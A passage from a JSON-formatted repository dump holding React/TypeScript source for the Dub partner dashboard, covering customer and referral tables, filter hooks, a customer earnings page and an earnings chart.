),\n    rowProps: (row) => ({\n      onPointerEnter: () => {\n        router.prefetch(\n          `/programs/${programSlug}/customers/${row.original.id}`,\n        );\n      },\n    }),\n    pagination,\n    onPaginationChange: setPagination,\n    columnVisibility,\n    onColumnVisibilityChange: setColumnVisibility,\n    sortableColumns: [\"saleAmount\", \"createdAt\"],\n    sortBy,\n    sortOrder,\n    onSortChange: ({ sortBy, sortOrder }) =>\n      queryParams({\n        set: {\n          ...(sortBy && { sortBy }),\n          ...(sortOrder && { sortOrder }),\n        },\n        del: \"page\",\n        scroll: false,\n      }),\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) => `customer${p ? \"s\" : \"\"}`,\n    rowCount: customersCount || 0,\n    loading: isLoading,\n    error:\n      error instanceof Error\n        ? error.message\n        : countError\n          ? \"Failed to load customers\"\n          : undefined,\n  });\n\n  return (\n    <div className=\"flex flex-col gap-3\">\n      <div>\n        <div className=\"flex flex-col gap-3 md:flex-row md:items-center md:justify-between\">\n          <Filter.Select\n            className=\"w-full md:w-fit\"\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n            onSelectedFilterChange={setSelectedFilter}\n          />\n          {Boolean(programEnrollment?.customerDataSharingEnabledAt) && (\n            <SearchBoxPersisted\n              placeholder=\"Search by email or name\"\n              inputClassName=\"md:w-[16rem]\"\n            />\n          )}\n        </div>\n        <AnimatedSizeContainer height>\n          <div>\n            {activeFilters.length > 0 && (\n              <div className=\"pt-3\">\n                <Filter.List\n                  filters={filters}\n                  activeFilters={activeFilters}\n                  onSelect={onSelect}\n                  onRemove={onRemove}\n                  onRemoveAll={onRemoveAll}\n                />\n              </div>\n            )}\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n\n      {customers?.length !== 0 ? (\n        <Table {...tableProps} table={table} />\n      ) : (\n        <AnimatedEmptyState\n          title={isFiltered ? \"No customers found\" : \"No customers yet\"}\n          description={\n            isFiltered\n              ? \"No customers found for the selected filters. Adjust your filters to refine your search results.\"\n              : \"No customers have been recorded for this program yet. Once customers start converting through your links, they'll appear here.\"\n          }\n          cardContent={() => (\n            <>\n              <User className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n            </>\n          )}\n        />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/customers/(index)/page.tsx",
    "content": "import { ProgramCustomersPageClient } from \"./page-client\";\n\nexport default function ProgramCustomers() {\n  return <ProgramCustomersPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/customers/(index)/referrals/page.tsx",
    "content": "\"use client\";\n\nimport usePartnerReferrals from \"@/lib/swr/use-partner-referrals\";\nimport usePartnerReferralsCount from \"@/lib/swr/use-partner-referrals-count\";\nimport { PartnerProfileReferralsCountByStatus } from \"@/lib/types\";\nimport { PartnerProfileReferral } from \"@/lib/zod/schemas/partner-profile\";\nimport { PartnerProfileReferralSheet } from \"@/ui/referrals/partner-profile-referral-sheet\";\nimport { PartnerProfileReferralsEmptyState } from \"@/ui/referrals/partner-profile-referrals-empty-state\";\nimport { ReferralStatusBadges } from \"@/ui/referrals/referral-status-badges\";\nimport { getCompanyLogoUrl } from \"@/ui/referrals/referral-utils\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport { ReferralStatus } from \"@dub/prisma/client\";\nimport {\n  AnimatedSizeContainer,\n  Filter,\n  StatusBadge,\n  Table,\n  TimestampTooltip,\n  useColumnVisibility,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { CircleDotted } from \"@dub/ui/icons\";\nimport { cn, formatDate, nFormatter, OG_AVATAR_URL } from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport { useEffect, useMemo, useState } from \"react\";\n\nexport default function PartnerCustomersReferralsPage() {\n  const { queryParams, searchParams } = useRouterStuff();\n  const { pagination, setPagination } = usePagination();\n\n  const referralIdFromUrl = searchParams.get(\"referralId\");\n\n  const [detailsSheetState, setDetailsSheetState] = useState<{\n    referralId: string | null;\n    open: boolean;\n  }>({\n    referralId: referralIdFromUrl,\n    open: !!referralIdFromUrl,\n  });\n\n  const { searchParamsObj } = useRouterStuff();\n  const status = searchParamsObj.status as ReferralStatus | undefined;\n  const search = searchParamsObj.search as string | undefined;\n\n  const { data: referralsCountByStatus } = usePartnerReferralsCount<\n    PartnerProfileReferralsCountByStatus[] | undefined\n  >({\n    query: {\n      groupBy: \"status\",\n    },\n  });\n\n  const { data: totalReferralsCount, error: countError } =\n    usePartnerReferralsCount<number>({\n      query: {\n        ...(status && { status }),\n        ...(search && { search }),\n      },\n    });\n\n  const { data: referrals, error, isLoading } = usePartnerReferrals();\n\n  const referralsColumns = {\n    all: [\"lead\", \"name\", \"company\", \"submitted\", \"status\"],\n    defaultVisible: [\"lead\", \"name\", \"company\", \"submitted\", \"status\"],\n  };\n\n  const { columnVisibility, setColumnVisibility } = useColumnVisibility(\n    \"partner-profile-referrals-table-columns\",\n    referralsColumns,\n  );\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"status\",\n        icon: CircleDotted,\n        label: \"Status\",\n        options:\n          referralsCountByStatus?.map(({ status, _count }) => {\n            const badge = ReferralStatusBadges[status];\n            const Icon = badge.icon;\n\n            return {\n              value: status,\n              label: badge.label,\n              icon: (\n                <Icon\n                  className={cn(badge.className, \"size-4 bg-transparent\")}\n                />\n              ),\n              right: nFormatter(_count, { full: true }),\n            };\n          }) ?? [],\n        meta: {\n          filterParams: ({ getValue }: { getValue: () => string }) => ({\n            status: getValue(),\n          }),\n        },\n      },\n    ],\n    [referralsCountByStatus],\n  );\n\n  const activeFilters = useMemo(() => {\n    return [...(status ? [{ key: \"status\", value: status }] : [])];\n  }, [status]);\n\n  const onSelect = (key: string, value: any) =>\n    queryParams({\n      set: {\n        [key]: value,\n      },\n      del: \"page\",\n    });\n\n  const onRemove = (key: string) =>\n    queryParams({\n      del: [key, \"page\"],\n    });\n\n  const onRemoveAll = () =>\n    queryParams({\n      del: [\"status\", \"search\"],\n    });\n\n  const columns = useMemo(\n    () =>\n      [\n        {\n          id: \"lead\",\n          header: \"Lead\",\n          enableHiding: false,\n          minSize: 250,\n          cell: ({ row }: { row: Row<PartnerProfileReferral> }) => {\n            const referral = row.original;\n            const companyLogoUrl = getCompanyLogoUrl(referral.email);\n\n            return (\n              <div className=\"flex items-center gap-2 truncate\">\n                <img\n                  alt={referral.email}\n                  src={companyLogoUrl || `${OG_AVATAR_URL}${referral.id}`}\n                  className=\"size-5 shrink-0 rounded-full border border-neutral-200\"\n                />\n                <span className=\"truncate\" title={referral.email}>\n                  {referral.email}\n                </span>\n              </div>\n            );\n          },\n        },\n        {\n          id: \"name\",\n          header: \"Name\",\n          accessorKey: \"name\",\n          minSize: 150,\n          cell: ({ row }: { row: Row<PartnerProfileReferral> }) => {\n            return (\n              <span className=\"min-w-0 truncate\" title={row.original.name}>\n                {row.original.name}\n              </span>\n            );\n          },\n        },\n        {\n          id: \"company\",\n          header: \"Company\",\n          accessorKey: \"company\",\n          minSize: 150,\n          cell: ({ row }: { row: Row<PartnerProfileReferral> }) => {\n            return (\n              <span className=\"min-w-0 truncate\" title={row.original.company}>\n                {row.original.company}\n              </span>\n            );\n          },\n        },\n        {\n          id: \"submitted\",\n          header: \"Submitted\",\n          cell: ({ row }: { row: Row<PartnerProfileReferral> }) => (\n            <TimestampTooltip\n              timestamp={row.original.createdAt}\n              rows={[\"local\"]}\n              side=\"left\"\n              delayDuration={150}\n            >\n              <span>\n                {formatDate(row.original.createdAt, { month: \"short\" })}\n              </span>\n            </TimestampTooltip>\n          ),\n        },\n        {\n          id: \"status\",\n          header: \"Status\",\n          accessorKey: \"status\",\n          cell: ({ row }: { row: Row<PartnerProfileReferral> }) => {\n            const status = row.original.status;\n            const badge = ReferralStatusBadges[status];\n\n            return (\n              <StatusBadge\n                variant={badge.variant}\n                icon={null}\n                className={cn(\"border-0\", badge.className)}\n              >\n                {badge.label}\n              </StatusBadge>\n            );\n          },\n        },\n      ].filter((c) => referralsColumns.all.includes(c.id)),\n    [],\n  );\n\n  const { table, ...tableProps } = useTable({\n    data: referrals || [],\n    columns,\n    pagination,\n    onPaginationChange: setPagination,\n    columnVisibility,\n    onColumnVisibilityChange: setColumnVisibility,\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) => `referral${p ? \"s\" : \"\"}`,\n    rowCount: totalReferralsCount || 0,\n    loading: isLoading,\n    error: error || countError ? \"Failed to load referrals\" : undefined,\n    onRowClick: (row) => {\n      queryParams({\n        set: { referralId: row.original.id },\n        scroll: false,\n      });\n      setDetailsSheetState({\n        referralId: row.original.id,\n        open: true,\n      });\n    },\n  });\n\n  const currentReferral = useMemo(() => {\n    if (!referrals || !detailsSheetState.referralId) return null;\n    return referrals.find((r) => r.id === detailsSheetState.referralId) || null;\n  }, [referrals, detailsSheetState.referralId]);\n\n  const [previousReferralId, nextReferralId] = useMemo(() => {\n    if (!referrals || !detailsSheetState.referralId) return [null, null];\n\n    const currentIndex = referrals.findIndex(\n      ({ id }) => id === detailsSheetState.referralId,\n    );\n    if (currentIndex === -1) return [null, null];\n\n    return [\n      currentIndex > 0 ? referrals[currentIndex - 1].id : null,\n      currentIndex < referrals.length - 1\n        ? referrals[currentIndex + 1].id\n        : null,\n    ];\n  }, [referrals, detailsSheetState.referralId]);\n\n  // Sync state with URL params\n  useEffect(() => {\n    const urlReferralId = searchParams.get(\"referralId\");\n    if (urlReferralId && urlReferralId !== detailsSheetState.referralId) {\n      setDetailsSheetState({\n        referralId: urlReferralId,\n        open: true,\n      });\n    } else if (!urlReferralId && detailsSheetState.referralId) {\n      setDetailsSheetState({\n        referralId: null,\n        open: false,\n      });\n    }\n  }, [searchParams, detailsSheetState.referralId]);\n\n  return (\n    <div className=\"flex flex-col gap-3\">\n      {detailsSheetState.referralId && currentReferral && (\n        <PartnerProfileReferralSheet\n          isOpen={detailsSheetState.open}\n          setIsOpen={(open) =>\n            setDetailsSheetState((s) => ({ ...s, open }) as any)\n          }\n          referral={currentReferral}\n          onPrevious={\n            previousReferralId\n              ? () => {\n                  queryParams({\n                    set: { referralId: previousReferralId },\n                    scroll: false,\n                  });\n                  setDetailsSheetState({\n                    referralId: previousReferralId,\n                    open: true,\n                  });\n                }\n              : undefined\n          }\n          onNext={\n            nextReferralId\n              ? () => {\n                  queryParams({\n                    set: { referralId: nextReferralId },\n                    scroll: false,\n                  });\n                  setDetailsSheetState({\n                    referralId: nextReferralId,\n                    open: true,\n                  });\n                }\n              : undefined\n          }\n        />\n      )}\n      <div>\n        <div className=\"flex flex-col gap-3 md:flex-row md:items-center md:justify-between\">\n          <Filter.Select\n            className=\"w-full md:w-fit\"\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n          />\n          <SearchBoxPersisted\n            placeholder=\"Search by email or name\"\n            inputClassName=\"md:w-[16rem]\"\n          />\n        </div>\n        <AnimatedSizeContainer height>\n          <div>\n            {activeFilters.length > 0 && (\n              <div className=\"pt-3\">\n                <Filter.List\n                  filters={filters}\n                  activeFilters={activeFilters}\n                  onSelect={onSelect}\n                  onRemove={onRemove}\n                  onRemoveAll={onRemoveAll}\n                />\n              </div>\n            )}\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n      {referrals && referrals.length !== 0 ? (\n        <Table {...tableProps} table={table} />\n      ) : !isLoading ? (\n        <PartnerProfileReferralsEmptyState />\n      ) : null}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/customers/(index)/use-partner-customer-filters.tsx",
    "content": "import usePartnerCustomersCount from \"@/lib/swr/use-partner-customers-count\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { Globe, Hyperlink } from \"@dub/ui/icons\";\nimport { COUNTRIES, linkConstructor, nFormatter } from \"@dub/utils\";\nimport { useCallback, useMemo, useState } from \"react\";\n\nexport function usePartnerCustomerFilters() {\n  const { searchParamsObj, queryParams } = useRouterStuff();\n  const [selectedFilter, setSelectedFilter] = useState<string | null>(null);\n\n  const { data: countriesCount } = usePartnerCustomersCount<\n    | {\n        country: string;\n        _count: number;\n      }[]\n    | undefined\n  >({\n    query: {\n      groupBy: \"country\",\n    },\n    enabled: selectedFilter === \"country\" || !!searchParamsObj.country,\n  });\n\n  const { data: linksCount } = usePartnerCustomersCount<\n    | {\n        linkId: string;\n        domain: string;\n        key: string;\n        shortLink: string;\n        _count: number;\n      }[]\n    | undefined\n  >({\n    query: { groupBy: \"linkId\" },\n    enabled: selectedFilter === \"linkId\" || !!searchParamsObj.linkId,\n  });\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"country\",\n        icon: Globe,\n        label: \"Country\",\n        options:\n          countriesCount?.map(({ country, _count }) => ({\n            value: country,\n            label: COUNTRIES[country] || country,\n            icon: (\n              <img\n                alt={`${country} flag`}\n                src={`https://hatscripts.github.io/circle-flags/flags/${country.toLowerCase()}.svg`}\n                className=\"size-4\"\n              />\n            ),\n            right: nFormatter(_count, { full: true }),\n          })) ?? null,\n      },\n      {\n        key: \"linkId\",\n        icon: Hyperlink,\n        label: \"Link\",\n        options:\n          linksCount?.map(({ linkId, domain, key, shortLink, _count }) => ({\n            value: linkId,\n            label: linkConstructor({ domain, key, pretty: true }),\n            data: { shortLink },\n            right: nFormatter(_count, { full: true }),\n          })) ?? null,\n      },\n    ],\n    [countriesCount, linksCount],\n  );\n\n  const activeFilters = useMemo(() => {\n    const { country, linkId } = searchParamsObj;\n    return [\n      ...(country ? [{ key: \"country\", value: country }] : []),\n      ...(linkId ? [{ key: \"linkId\", value: linkId }] : []),\n    ];\n  }, [searchParamsObj]);\n\n  const onSelect = useCallback(\n    (key: string, value: any) =>\n      queryParams({\n        set: {\n          [key]: value,\n        },\n        del: \"page\",\n        scroll: false,\n      }),\n    [queryParams],\n  );\n\n  const onRemove = useCallback(\n    (key: string) =>\n      queryParams({\n        del: [key, \"page\"],\n        scroll: false,\n      }),\n    [queryParams],\n  );\n\n  const onRemoveAll = useCallback(\n    () =>\n      queryParams({\n        del: [\"country\", \"linkId\", \"search\", \"page\"],\n        scroll: false,\n      }),\n    [queryParams],\n  );\n\n  const isFiltered = useMemo(\n    () => activeFilters.length > 0 || !!searchParamsObj.search,\n    [activeFilters, searchParamsObj.search],\n  );\n\n  return {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n    setSelectedFilter,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/customers/[customerId]/page-client.tsx",
    "content": "\"use client\";\n\nimport { CUSTOMER_PAGE_EVENTS_LIMIT } from \"@/lib/constants/misc\";\nimport usePartnerCustomer from \"@/lib/swr/use-partner-customer\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { PartnerEarningsResponse } from \"@/lib/types\";\nimport { CustomerActivityList } from \"@/ui/customers/customer-activity-list\";\nimport { CustomerDetailsColumn } from \"@/ui/customers/customer-details-column\";\nimport { CustomerSalesTable } from \"@/ui/customers/customer-sales-table\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ProgramRewardList } from \"@/ui/partners/program-reward-list\";\nimport { ChevronRight, MoneyBill2, Tooltip, User } from \"@dub/ui\";\nimport { cn, fetcher, formatDate } from \"@dub/utils\";\nimport { addMonths, isBefore } from \"date-fns\";\nimport { AlertCircle } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { redirect, useParams } from \"next/navigation\";\nimport { memo, useMemo } from \"react\";\nimport useSWR from \"swr\";\n\nexport function ProgramCustomerPageClient() {\n  const { programEnrollment, showDetailedAnalytics } = useProgramEnrollment();\n  const { programSlug, customerId } = useParams<{\n    programSlug: string;\n    customerId: string;\n  }>();\n\n  const { data: customer, isLoading } = usePartnerCustomer({\n    customerId,\n  });\n\n  const rewardPeriodEndDate = useMemo(() => {\n    if (!programEnrollment?.rewards || !customer?.firstSaleAt) return null;\n    const saleReward = programEnrollment?.rewards.find(\n      (r) => r.event === \"sale\",\n    );\n    if (!saleReward) return null;\n\n    // infinite duration\n    if (saleReward.maxDuration === null || saleReward.maxDuration === undefined)\n      return null;\n\n    // add the max duration to the first sale date\n    return addMonths(customer.firstSaleAt, saleReward.maxDuration);\n  }, [programEnrollment, customer]);\n\n  if ((!customer && !isLoading) || !showDetailedAnalytics) {\n    redirect(`/programs/${programSlug}`);\n  }\n\n  return (\n    <PageContent\n      title={\n        <div className=\"flex items-center gap-1.5\">\n          <Link\n            href={`/programs/${programSlug}/customers`}\n            aria-label=\"Back to customers\"\n            title=\"Back to customers\"\n            className={cn(\n              \"bg-bg-subtle flex size-8 shrink-0 items-center justify-center rounded-lg\",\n              \"hover:bg-bg-emphasis transition-[transform,background-color] duration-150 active:scale-95\",\n            )}\n          >\n            <User className=\"size-4\" />\n          </Link>\n          <ChevronRight className=\"text-content-muted size-2.5 shrink-0 [&_*]:stroke-2\" />\n          <div>\n            {customer ? (\n              customer.name || customer.email\n            ) : (\n              <div className=\"h-6 w-32 animate-pulse rounded-md bg-neutral-200\" />\n            )}\n          </div>\n        </div>\n      }\n    >\n      <PageWidthWrapper className=\"flex flex-col gap-6 pb-10\">\n        <div className=\"@3xl/page:grid-cols-[minmax(440px,1fr)_minmax(0,360px)] grid grid-cols-1 gap-6\">\n          <div className=\"@3xl/page:order-2\">\n            <CustomerDetailsColumn\n              customer={\n                customer && customer.id\n                  ? {\n                      ...customer,\n                      name: customer.name || \"\",\n                      externalId: \"\",\n                    }\n                  : undefined\n              }\n              customerActivity={customer?.activity}\n              isCustomerActivityLoading={!customer}\n            />\n          </div>\n          <div className=\"@3xl/page:order-1\">\n            <div className=\"border-border-subtle overflow-hidden rounded-xl border p-4\">\n              <section className=\"flex flex-col gap-4\">\n                <div className=\"flex items-center justify-between\">\n                  <h2 className=\"text-lg font-semibold text-neutral-900\">\n                    Earnings\n                  </h2>\n                  {programEnrollment?.rewards && (\n                    <Tooltip\n                      content={\n                        <ProgramRewardList\n                          rewards={programEnrollment?.rewards}\n                          className=\"gap-2 border-none p-3\"\n                          showModifiersTooltip={false}\n                        />\n                      }\n                    >\n                      <div className=\"border-border-subtle flex cursor-default items-center justify-center gap-1.5 rounded-md border px-2 py-1 transition-all hover:bg-neutral-50\">\n                        <MoneyBill2 className=\"size-4\" />\n                        <span className=\"text-sm\">Eligible rewards</span>\n                      </div>\n                    </Tooltip>\n                  )}\n                </div>\n                {rewardPeriodEndDate &&\n                  isBefore(rewardPeriodEndDate, new Date()) && (\n                    <div className=\"flex items-center gap-2 rounded-lg border border-amber-100 bg-amber-50 px-3 py-2\">\n                      <AlertCircle className=\"size-4 shrink-0 text-amber-600\" />\n                      <p className=\"text-sm text-amber-900\">\n                        The earning period for this customer has ended as of{\" \"}\n                        {formatDate(rewardPeriodEndDate)}. No future conversions\n                        will be rewarded.\n                      </p>\n                    </div>\n                  )}\n\n                <div className=\"border-border-subtle overflow-hidden rounded-lg border\">\n                  <EarningsTable customerId={customerId} />\n                </div>\n              </section>\n            </div>\n\n            <section className=\"mt-3 flex flex-col px-4\">\n              <div className=\"flex items-center justify-between\">\n                <h2 className=\"py-3 text-lg font-semibold text-neutral-900\">\n                  Activity\n                </h2>\n              </div>\n              <CustomerActivityList\n                activity={customer?.activity}\n                isLoading={!customer}\n              />\n            </section>\n          </div>\n        </div>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n\nconst EarningsTable = memo(({ customerId }: { customerId: string }) => {\n  const { programSlug } = useParams();\n\n  const { data: earningsData, isLoading: isEarningsLoading } = useSWR<\n    PartnerEarningsResponse[]\n  >(\n    `/api/partner-profile/programs/${programSlug}/earnings?interval=all&pageSize=${CUSTOMER_PAGE_EVENTS_LIMIT}&customerId=${customerId}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { data: totalEarnings, isLoading: isTotalEarningsLoading } = useSWR<{\n    count: number;\n  }>(\n    // Only fetch total earnings count if the earnings data is equal to the limit\n    earningsData?.length === CUSTOMER_PAGE_EVENTS_LIMIT &&\n      `/api/partner-profile/programs/${programSlug}/earnings/count?interval=all&customerId=${customerId}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return (\n    <CustomerSalesTable\n      sales={earningsData}\n      totalSales={\n        isTotalEarningsLoading\n          ? undefined\n          : totalEarnings?.count ?? earningsData?.length\n      }\n      viewAllHref={`/programs/${programSlug}/earnings?interval=all&customerId=${customerId}`}\n      isLoading={isEarningsLoading}\n    />\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/customers/[customerId]/page.tsx",
    "content": "import { ProgramCustomerPageClient } from \"./page-client\";\n\nexport default function ProgramCustomer() {\n  return <ProgramCustomerPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/earnings/earnings-composite-chart.tsx",
    "content": "\"use client\";\n\nimport { DUB_PARTNERS_ANALYTICS_INTERVAL } from \"@/lib/analytics/constants\";\nimport { formatDateTooltip } from \"@/lib/analytics/format-date-tooltip\";\nimport { IntervalOptions } from \"@/lib/analytics/types\";\nimport usePartnerEarningsCount from \"@/lib/swr/use-partner-earnings-count\";\nimport { usePartnerEarningsTimeseries } from \"@/lib/swr/use-partner-earnings-timeseries\";\nimport usePartnerLinks from \"@/lib/swr/use-partner-links\";\nimport { LinkIcon } from \"@/ui/links/link-icon\";\nimport { CommissionTypeIcon } from \"@/ui/partners/comission-type-icon\";\nimport { CommissionStatusBadges } from \"@/ui/partners/commission-status-badges\";\nimport SimpleDateRangePicker from \"@/ui/shared/simple-date-range-picker\";\nimport { CommissionType } from \"@dub/prisma/client\";\nimport { Filter, LoadingSpinner, ToggleGroup, useRouterStuff } from \"@dub/ui\";\nimport { Areas, TimeSeriesChart, XAxis, YAxis } from \"@dub/ui/charts\";\nimport { CircleDotted, Hyperlink, Sliders, User } from \"@dub/ui/icons\";\nimport {\n  capitalize,\n  cn,\n  currencyFormatter,\n  getPrettyUrl,\n  linkConstructor,\n  nFormatter,\n} from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport { endOfDay, startOfDay } from \"date-fns\";\nimport { Fragment, useMemo, useState } from \"react\";\n\nconst LINE_COLORS = [\n  \"text-teal-500\",\n  \"text-purple-500\",\n  \"text-blue-500\",\n  \"text-green-500\",\n  \"text-orange-500\",\n  \"text-yellow-500\",\n];\n\nconst EVENT_TYPE_LINE_COLORS = {\n  sale: \"text-teal-500\",\n  lead: \"text-purple-500\",\n  click: \"text-blue-500\",\n};\n\nconst MAX_LINES = LINE_COLORS.length;\n\nexport function EarningsCompositeChart() {\n  const { queryParams, searchParamsObj } = useRouterStuff();\n\n  const {\n    start,\n    end,\n    interval = DUB_PARTNERS_ANALYTICS_INTERVAL,\n    groupBy = \"linkId\",\n  } = searchParamsObj as {\n    start?: string;\n    end?: string;\n    interval?: IntervalOptions;\n    groupBy?: \"linkId\" | \"type\";\n  };\n\n  const { links } = usePartnerLinks();\n\n  const { data } = usePartnerEarningsTimeseries({\n    interval,\n    groupBy,\n    start: start ? startOfDay(new Date(start)) : undefined,\n    end: end ? endOfDay(new Date(end)) : undefined,\n  });\n\n  const total = useMemo(\n    () => data?.reduce((acc, { earnings }) => acc + earnings, 0),\n    [data],\n  );\n\n  const [chartData, series] = useMemo(\n    () => [\n      data?.map(({ start, earnings, data }) => ({\n        date: new Date(start),\n        values: { ...data, total: earnings },\n      })),\n      data\n        ? [...new Set<string>(data.flatMap(({ data }) => Object.keys(data)))]\n            // Sort by total earnings for the period\n            .sort((a, b) => {\n              const [earningsA, earningsB] = data.reduce(\n                (acc, { data }) => [acc[0] + data[a], acc[1] + data[b]],\n                [0, 0],\n              );\n              return earningsB - earningsA;\n            })\n            .slice(0, MAX_LINES)\n            .map((item, idx) => ({\n              id: item,\n              isActive: true,\n              valueAccessor: (d) => d.values[item] || 0,\n              colorClassName:\n                groupBy === \"type\"\n                  ? EVENT_TYPE_LINE_COLORS[item]\n                  : LINE_COLORS[idx % LINE_COLORS.length],\n            }))\n        : [],\n    ],\n    [data],\n  );\n\n  return (\n    <div className=\"flex flex-col gap-6\">\n      <EarningsTableControls />\n      <div className=\"rounded-lg border border-neutral-200 p-6\">\n        <div className=\"flex w-full items-center justify-between\">\n          <div className=\"flex flex-col gap-1\">\n            <span className=\"text-sm text-neutral-500\">Total Earnings</span>\n            <div className=\"mt-1\">\n              {total !== undefined ? (\n                <NumberFlow\n                  className=\"text-lg font-medium leading-none text-neutral-800\"\n                  value={total / 100}\n                  format={{\n                    style: \"currency\",\n                    currency: \"USD\",\n                    // @ts-ignore – trailingZeroDisplay is a valid option but TS is outdated\n                    trailingZeroDisplay: \"stripIfInteger\",\n                  }}\n                />\n              ) : (\n                <div className=\"h-[27px] w-24 animate-pulse rounded-md bg-neutral-200\" />\n              )}\n            </div>\n          </div>\n\n          <ToggleGroup\n            className=\"flex w-fit shrink-0 items-center gap-1 border-neutral-100 bg-neutral-100\"\n            optionClassName=\"h-8 px-2.5 flex items-center justify-center\"\n            indicatorClassName=\"border border-neutral-200 bg-white\"\n            options={[\n              {\n                label: (\n                  <div className=\"flex items-center gap-1.5 text-neutral-600\">\n                    <Hyperlink className=\"size-4\" />\n                    <span className=\"text-sm\">Link</span>\n                  </div>\n                ),\n                value: \"linkId\",\n              },\n              {\n                label: (\n                  <div className=\"flex items-center gap-1.5 text-neutral-600\">\n                    <Sliders className=\"size-4\" />\n                    <span className=\"text-sm\">Type</span>\n                  </div>\n                ),\n                value: \"type\",\n              },\n            ]}\n            selected={groupBy}\n            selectAction={(option) => {\n              queryParams({\n                set: { groupBy: option },\n                scroll: false,\n              });\n            }}\n          />\n        </div>\n        <div className=\"mt-5 h-80\">\n          {chartData && chartData.length > 0 ? (\n            <TimeSeriesChart\n              data={chartData}\n              series={series}\n              tooltipClassName=\"p-0\"\n              tooltipContent={(d) => {\n                return (\n                  <>\n                    <div className=\"flex justify-between border-b border-neutral-200 p-3 text-xs\">\n                      <p className=\"font-medium leading-none text-neutral-900\">\n                        {formatDateTooltip(d.date, {\n                          interval,\n                          start,\n                          end,\n                        })}\n                      </p>\n                      <p className=\"text-right leading-none text-neutral-500\">\n                        {currencyFormatter(d.values.total || 0)}\n                      </p>\n                    </div>\n                    <div className=\"grid max-w-64 grid-cols-[minmax(0,1fr),min-content] gap-x-6 gap-y-2 px-4 py-3 text-xs\">\n                      {series.map(({ id, colorClassName, valueAccessor }) => {\n                        const link = links?.find((link) => link.id === id);\n                        return (\n                          <Fragment key={id}>\n                            <div className=\"flex items-center gap-2\">\n                              <div\n                                className={cn(\n                                  colorClassName,\n                                  \"size-2 shrink-0 rounded-sm bg-current opacity-50 shadow-[inset_0_0_0_1px_#0003]\",\n                                )}\n                              />\n                              <span className=\"min-w-0 truncate font-medium text-neutral-700\">\n                                {link?.shortLink\n                                  ? getPrettyUrl(link.shortLink)\n                                  : capitalize(id)}\n                              </span>\n                            </div>\n                            <p className=\"text-right text-neutral-500\">\n                              {currencyFormatter(valueAccessor(d))}\n                            </p>\n                          </Fragment>\n                        );\n                      })}\n                    </div>\n                  </>\n                );\n              }}\n            >\n              <Areas />\n              <XAxis\n                tickFormat={(d) =>\n                  formatDateTooltip(d, {\n                    interval,\n                    start,\n                    end,\n                  })\n                }\n              />\n              <YAxis\n                showGridLines\n                tickFormat={(v) => `${currencyFormatter(v)}`}\n              />\n            </TimeSeriesChart>\n          ) : (\n            <div className=\"flex size-full items-center justify-center\">\n              <LoadingSpinner />\n            </div>\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction EarningsTableControls() {\n  const { queryParams, searchParamsObj } = useRouterStuff();\n  const [selectedFilter, setSelectedFilter] = useState<string | null>(null);\n\n  const { earningsCount: links } = usePartnerEarningsCount<\n    { id: string; domain: string; key: string; url: string; _count: number }[]\n  >({\n    groupBy: \"linkId\",\n    enabled:\n      selectedFilter === \"linkId\" || searchParamsObj.linkId ? true : false,\n  });\n\n  const { earningsCount: customers } = usePartnerEarningsCount<\n    { id: string; email: string; _count: number }[]\n  >({\n    groupBy: \"customerId\",\n    enabled:\n      selectedFilter === \"customerId\" || searchParamsObj.customerId\n        ? true\n        : false,\n  });\n\n  const { earningsCount: statuses } = usePartnerEarningsCount<\n    { status: string; _count: number }[]\n  >({\n    groupBy: \"status\",\n    enabled:\n      selectedFilter === \"status\" || searchParamsObj.status ? true : false,\n  });\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"type\",\n        icon: Sliders,\n        label: \"Type\",\n        options: Object.values(CommissionType).map((type) => ({\n          value: type,\n          label: capitalize(type) as string,\n          icon: <CommissionTypeIcon type={type} />,\n        })),\n      },\n      {\n        key: \"linkId\",\n        icon: Hyperlink,\n        label: \"Link\",\n        getOptionIcon: (_value, props) => {\n          return <LinkIcon url={props.option?.data?.url} />;\n        },\n        options:\n          links?.map(({ id, domain, key, url }) => ({\n            value: id,\n            label: linkConstructor({\n              domain,\n              key,\n              pretty: true,\n            }),\n            data: { url },\n          })) ?? null,\n      },\n      {\n        key: \"customerId\",\n        icon: User,\n        label: 